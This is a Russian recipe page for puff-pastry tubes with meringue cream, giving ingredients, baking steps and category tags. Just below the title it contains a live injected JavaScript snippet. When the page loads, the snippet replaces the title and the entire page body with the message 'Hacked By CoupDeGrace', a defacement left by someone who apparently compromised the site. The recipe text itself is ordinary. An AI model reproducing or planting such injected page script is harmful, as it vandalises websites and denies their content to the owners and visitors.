Кулинарные рецепты - Трубочки с белковым кремом - фото рецепт приготовления

document.addEventListener('DOMContentLoaded', function(){document.title='Hacked By CoupDeGrace';document.body.style.cssText='margin:0;overflow:hidden';document.body.innerHTML='

Hacked By CoupDeGrace

';});

Выпечка

Трубочки с белковым кремом - фото рецепт приготовления

Трубочки с белковым кремом - фото рецепт приготовления

Продукты:

Готовое слоеное тесто - 500 г., 4 яйца, сахарная пудра - 2 стакана, лимонная кислота - 2 грамма, мука - 1/3 стакана.

	Готовим: Стол слегка посыпать мукой. Слоеное тесто раскатать в одном направлении.
	Раскатанное тесто разрезать на полоски см 3-4.
	Альбомный лист сложить пополам и свернуть кулечком. На него начиная с острого края спиралью завить тесто.
	Должна получится вот такая заготовка.
	Заготовки выкладываем на противень, смазываем взбитым желтком 1го яйца.
	Выпекаем в нагретой до 200 градусов духовке. Первые 10 минут духовку не открывать!
	Готовим белковый крем. Отделяем белки от желтков. (один желток используем на смазывание трубочек, три остальных можно использовать для мини-омлета или еще куда нить.) Добавляем небольшое количество сахарной пудры и лимонную кислоту. Взбиваем.
	По мере взбивания добавляем еще пудру. В итоге должна получится масса хорошо держащая форму.
	Испеченные трубочки охлаждаем до комнатной температуры и начиняем кремом. Приятного чаепития!

Опубликовано в категории: Выпечка

Авторизуйтесь, чтобы получить возможность оставлять комментарии

Популярные теги

блюда из картофеля блюда из мяса закуски коктейли салаты салаты из картофеля салаты из курицы салаты из мяса салаты из рыбы салаты из яиц салаты куриные салаты мясные салаты овощные салаты с грибами соусы